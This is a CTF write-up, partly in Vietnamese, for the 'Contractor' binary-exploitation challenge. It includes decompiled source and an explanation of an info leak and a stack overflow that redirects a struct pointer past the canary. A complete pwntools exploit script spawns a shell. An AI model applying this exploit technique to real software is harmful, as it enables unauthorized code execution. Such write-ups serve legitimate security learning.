pwn - Contractor

Sir Alaric calls upon the bravest adventurers to join him in assembling the mightiest army in all of Eldoria. Together, you will safeguard the peace across the villages under his protection. Do you have the courage to answer the call?

Summary: Contractor is a Medium difficulty challenge that features leaking pie address due to macro read not null terminating the input and the existence of safe_buffer overflow, understanding how alloca works and bypassing the canary, overwriting the return address with the function that spawns shell.

November 4, 2025 October 30, 2025 Medium
Author Author Hung Nguyen Tuong

Setup

┌──(kali㉿kali)-[/mnt/hgfs/Desktop/cyberapocalypse2025/contractor/challenge]
└─$ pwninit --bin contractor --libc glibc/libc.so.6 --ld glibc/ld-linux-x86-64.so.2 
bin: contractor
libc: glibc/libc.so.6
ld: glibc/ld-linux-x86-64.so.2

unstripping libc
https://launchpad.net/ubuntu/+archive/primary/+files//libc6-dbg_2.31-0ubuntu9.9_amd64.deb
warning: failed unstripping libc: libc deb error: failed to find file in data.tar
copying contractor to contractor_patched
running patchelf on contractor_patched

Source Code

Player struct

00000000 struct Player // sizeof=0x128
00000000 {
00000000     char name[16];
00000010     char reason[256];
00000110     __int64 age;
00000118     char specialty[16];
00000128 };

main()

int __fastcall main(int argc, const char **argv, const char **envp)
{
  int choice; // [rsp+8h] [rbp-20h] BYREF
  int count; // [rsp+Ch] [rbp-1Ch]
  Player *player_ptr; // [rsp+10h] [rbp-18h]
  char confirm[4]; // [rsp+1Ch] [rbp-Ch] BYREF
  unsigned __int64 canary; // [rsp+20h] [rbp-8h]

  canary = __readfsqword(0x28u);
  player_ptr = alloca(304);
  memset(&choice, 0, 296u);
  printf(
    "%s[%sSir Alaric%s]: Young lad, I'm truly glad you want to join forces with me, but first I need you to tell me some "
    "things about you.. Please introduce yourself. What is your name?\n"
    "\n"
    "> ",
    "\x1B[1;34m",
    "\x1B[1;33m",
    "\x1B[1;34m");
  for ( i = 0; i <= 15; ++i )
  {
    read(0, &safe_buffer, 1u);
    if ( safe_buffer == '\n' )
      break;
    player_ptr->name[i] = safe_buffer;
  }
  printf(
    "\n[%sSir Alaric%s]: Excellent! Now can you tell me the reason you want to join me?\n\n> ",
    "\x1B[1;33m",
    "\x1B[1;34m");
  for ( i = 0; i <= 255; ++i )
  {
    read(0, &safe_buffer, 1u);
    if ( safe_buffer == '\n' )
      break;
    player_ptr->reason[i] = safe_buffer;
  }
  printf(
    "\n[%sSir Alaric%s]: That's quite the reason why! And what is your age again?\n\n> ",
    "\x1B[1;33m",
    "\x1B[1;34m");
  __isoc99_scanf("%ld", &player_ptr->age);
  printf(
    "\n"
    "[%sSir Alaric%s]: You sound mature and experienced! One last thing, you have a certain specialty in combat?\n"
    "\n"
    "> ",
    "\x1B[1;33m",
    "\x1B[1;34m");
  for ( i = 0; i <= 15; ++i )
  {
    read(0, &safe_buffer, 1u);
    if ( safe_buffer == '\n' )
      break;
    player_ptr->specialty[i] = safe_buffer;
  }
  printf(
    "\n"
    "[%sSir Alaric%s]: So, to sum things up: \n"
    "\n"
    "+------------------------------------------------------------------------+\n"
    "\n"
    "\t[Name]: %s\n"
    "\t[Reason to join]: %s\n"
    "\t[Age]: %ld\n"
    "\t[Specialty]: %s\n"
    "\n"
    "+------------------------------------------------------------------------+\n"
    "\n",
    "\x1B[1;33m",
    "\x1B[1;34m",
    player_ptr->name,
    player_ptr->reason,
    player_ptr->age,
    player_ptr->specialty);
  count = 0;
  printf(
    "[%sSir Alaric%s]: Please review and verify that your information is true and correct.\n",
    "\x1B[1;33m",
    "\x1B[1;34m");
  do
  {
    printf("\n1. Name      2. Reason\n3. Age       4. Specialty\n\n> ");
    __isoc99_scanf("%d", &choice);
    if ( choice == 4 )
    {
      printf("\n%s[%sSir Alaric%s]: And what are you good at: ", "\x1B[1;34m", "\x1B[1;33m", "\x1B[1;34m");
      for ( i = 0; i <= 255; ++i )
      {
        read(0, &safe_buffer, 1u);
        if ( safe_buffer == '\n' )
          break;
        player_ptr->specialty[i] = safe_buffer;
      }
      ++count;
    }
    else
    {
      if ( choice > 4 )
        goto exit;
      switch ( choice )
      {
        case 3:
          printf(
            "\n%s[%sSir Alaric%s]: Did you say you are 120 years old? Please specify again: ",
            "\x1B[1;34m",
            "\x1B[1;33m",
            "\x1B[1;34m");
          __isoc99_scanf("%d", &player_ptr->age);
          ++count;
          break;
        case 1:
          printf("\n%s[%sSir Alaric%s]: Say your name again: ", "\x1B[1;34m", "\x1B[1;33m", "\x1B[1;34m");
          for ( i = 0; i <= 15; ++i )
          {
            read(0, &safe_buffer, 1u);
            if ( safe_buffer == '\n' )
              break;
            player_ptr->name[i] = safe_buffer;
          }
          ++count;
          break;
        case 2:
          printf("\n%s[%sSir Alaric%s]: Specify the reason again please: ", "\x1B[1;34m", "\x1B[1;33m", "\x1B[1;34m");
          for ( i = 0; i <= 255; ++i )
          {
            read(0, &safe_buffer, 1u);
            if ( safe_buffer == '\n' )
              break;
            player_ptr->reason[i] = safe_buffer;
          }
          ++count;
          break;
        default:
exit:
          printf("\n%s[%sSir Alaric%s]: Are you mocking me kid??\n\n", "\x1B[1;31m", "\x1B[1;33m", "\x1B[1;31m");
          exit(1312);
      }
    }
    if ( count == 1 )
    {
      printf(
        "\n%s[%sSir Alaric%s]: I suppose everything is correct now?\n\n> ",
        "\x1B[1;34m",
        "\x1B[1;33m",
        "\x1B[1;34m");
      for ( i = 0; i <= 3; ++i )
      {
        read(0, &safe_buffer, 1u);
        if ( safe_buffer == '\n' )
          break;
        confirm[i] = safe_buffer;
      }
      if ( !strncmp(confirm, "Yes", 3u) )
        break;
    }
  }
  while ( count <= 1 );
  printf("\n%s[%sSir Alaric%s]: We are ready to recruit you young lad!\n\n", "\x1B[1;34m", "\x1B[1;33m", "\x1B[1;34m");
  return 0;
}

contract()

Hàm win này được ẩn đi:

unsigned __int64 contract()
{
  unsigned __int64 v1; // [rsp+8h] [rbp-8h]

  v1 = __readfsqword(0x28u);
  execl("/bin/sh", "sh", 0);
  return __readfsqword(0x28u) ^ v1;
}

Mitigation

Solve

alloca cũng là hàm cấp phát bộ nhớ nhưng là cấp phát trên stack, và cũng bị bỏ đi như các biến cục bộ khi kết thúc hàm.

Ở đây chỉ có một lần duy nhất in ra các thông tin đó là sau khi nhập xong:

  printf(
    "\n"
    "[%sSir Alaric%s]: So, to sum things up: \n"
    "\n"
    "+------------------------------------------------------------------------+\n"
    "\n"
    "\t[Name]: %s\n"
    "\t[Reason to join]: %s\n"
    "\t[Age]: %ld\n"
    "\t[Specialty]: %s\n"
    "\n"
    "+------------------------------------------------------------------------+\n"
    "\n",
    "\x1B[1;33m",
    "\x1B[1;34m",
    player_ptr->name,
    player_ptr->reason,
    player_ptr->age,
    player_ptr->specialty);

Chúng ta có thể nhập 16 bytes vào specialty, và bởi vì không có null terminator, địa chỉ của __libc_csu_init cũng được in ra, từ đó leak được địa chỉ base của binary.

Tiếp đến, chúng ta được lựa chọn chỉnh sửa các thông tin của Player trên stack, nhưng để ý rằng specialty bị overflow đến 256 bytes trong khi chỉ có độ dài 16 bytes:

if ( choice == 4 )
{
  printf("\n%s[%sSir Alaric%s]: And what are you good at: ", "\x1B[1;34m", "\x1B[1;33m", "\x1B[1;34m");
  for ( i = 0; i <= 255; ++i )
  {
	read(0, &safe_buffer, 1u);
	if ( safe_buffer == '\n' )
	  break;
	player_ptr->specialty[i] = safe_buffer;
  }
  ++count;
}

Vậy chúng ta có thể nghĩ đến việc ghi đè return address để return về hàm contract(), với điều kiện là đã có được canary. Nhưng chỉ có một lần duy nhất in ra các thông tin ở trước đó, chúng ta không còn lần in nào để leak được canary.

Để ý rằng, con trỏ player_ptr đang trỏ đến trường name cũng có thể bị ghi đè. Vậy chúng ta thử edit trường specialty để ghi đè player_ptr trỏ đến một địa chỉ cao hơn sao cho địa chỉ trên stack của specialty sau khi chuyển dịch cũng chính là địa chỉ trên stack của return address. Sau đó edit trường specialty thêm một lần nữa để ghi đè return address.

Khoảng cách của namespecialty là:

pwndbg> p/x 0x7fffffffdc68 - 0x7fffffffdb50
$1 = 0x118

Nếu địa chỉ của return address là 0x7fffffffdca8, thì ta nên ghi đè con trỏ player_ptr thành:

pwndbg> p/x 0x7fffffffdca8 - 0x118
$2 = 0x7fffffffdb90

Vì ASLR đang được tắt khi debug, tất nhiên ta biết được ghi đè byte 0x90 vào cuối, nhưng thực tế là ngẫu nhiên. Dù vậy, chúng ta không cần phải leak địa chỉ stack, bởi ở đây chỉ cần ghi 1 byte cuối, ta có thể thử lại nhiều lần cho đến khi thành công.

Script

#!/usr/bin/env python3

from pwn import *

exe = ELF("contractor_patched", checksec=False)
libc = ELF("glibc/libc.so.6", checksec=False)
ld = ELF("glibc/ld-linux-x86-64.so.2", checksec=False)

context.terminal = ["tilix", "-a", "session-add-right", "-e"]
context.binary = exe
context.log_level = 'error'

sla = lambda p, d, x: p.sendlineafter(d, x)
sa = lambda p, d, x: p.sendafter(d, x)
sl = lambda p, x: p.sendline(x)
s = lambda p, x: p.send(x)

slan = lambda p, d, n: p.sendlineafter(d, str(n).encode())
san = lambda p, d, n: p.sendafter(d, str(n).encode())
sln = lambda p, n: p.sendline(str(n).encode())
sn = lambda p, n: p.send(str(n).encode())

ru = lambda p, x: p.recvuntil(x)
rl = lambda p: p.recvline()
rc = lambda p, n: p.recv(n)
rr = lambda p, t: p.recvrepeat(timeout=t)
ra = lambda p, t: p.recvall(timeout=t)
ia = lambda p: p.interactive()

gdbscript = '''
b *main+0x2CA
b *main+0x55A
set follow-fork-mode parent
set detach-on-fork on
continue
'''

def conn():
    if args.LOCAL:
        p = process([exe.path])
        if args.GDB:
            gdb.attach(p, gdbscript=gdbscript)
        if args.DEBUG:
            context.log_level = 'debug'
        return p
    else:
        host = ""
        port = 0
        return remote(host, port)

for i in range(15):
    try:
        print(f"Attempt {i + 1}")
        p = conn()

        sa(p, b'>', b'A' * 16)
        sa(p, b'>', b'B' * 256)
        slan(p, b'>', 128)
        sa(p, b'>', b'C' * 16)
		
		# leak binary base
        ru(p, b'C' * 16)
        leak_binary = u64(rc(p, 6) + b'\0\0')
        exe.address = leak_binary - 0x1b50
        print(f"binary base: {hex(exe.address)}")

        slan(p, b'>', 4)
        sla(p, b'at:', b'C' * 28 + p32(0) + b'\x90') # Ghi đè byte cuối của player_ptr

        sla(p, b'>', b'no') # Tiếp tục edit

        slan(p, b'>', 4)
        sla(p, b'at:', p64(exe.symbols['contract']))

        sl(p, b'echo ok')
        ru(p, b'ok')
        print("Success!")
        ia(p)
        break
    except:
        try:
            p.close()
        except:
            pass
        continue